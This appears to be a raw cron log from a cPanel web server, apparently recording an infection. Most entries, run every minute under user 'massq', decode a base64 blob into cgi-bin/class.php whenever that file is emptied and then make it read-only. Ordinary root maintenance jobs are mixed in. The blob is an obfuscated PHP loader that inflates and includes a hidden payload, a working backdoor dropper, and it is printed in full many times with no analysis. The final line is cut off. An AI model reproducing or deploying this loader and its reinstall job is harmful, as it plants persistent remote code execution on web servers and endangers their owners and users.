Apr  7 21:46:01 server CROND[27428]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:47:01 server CROND[27502]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:48:01 server CROND[27562]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:49:01 server CROND[27718]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:50:01 server CROND[27781]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 21:50:01 server CROND[27782]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 21:50:01 server CROND[27786]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 21:50:01 server CROND[27787]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 21:50:01 server CROND[27789]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:51:01 server CROND[27904]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:52:01 server CROND[27955]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:53:01 server CROND[28014]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:54:01 server CROND[28167]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:55:01 server CROND[28226]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:55:01 server CROND[28227]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 21:55:01 server CROND[28228]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 21:56:01 server CROND[28334]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:57:01 server CROND[28395]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:57:01 server CROND[28396]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 21:58:01 server CROND[28462]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:59:01 server CROND[28549]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaU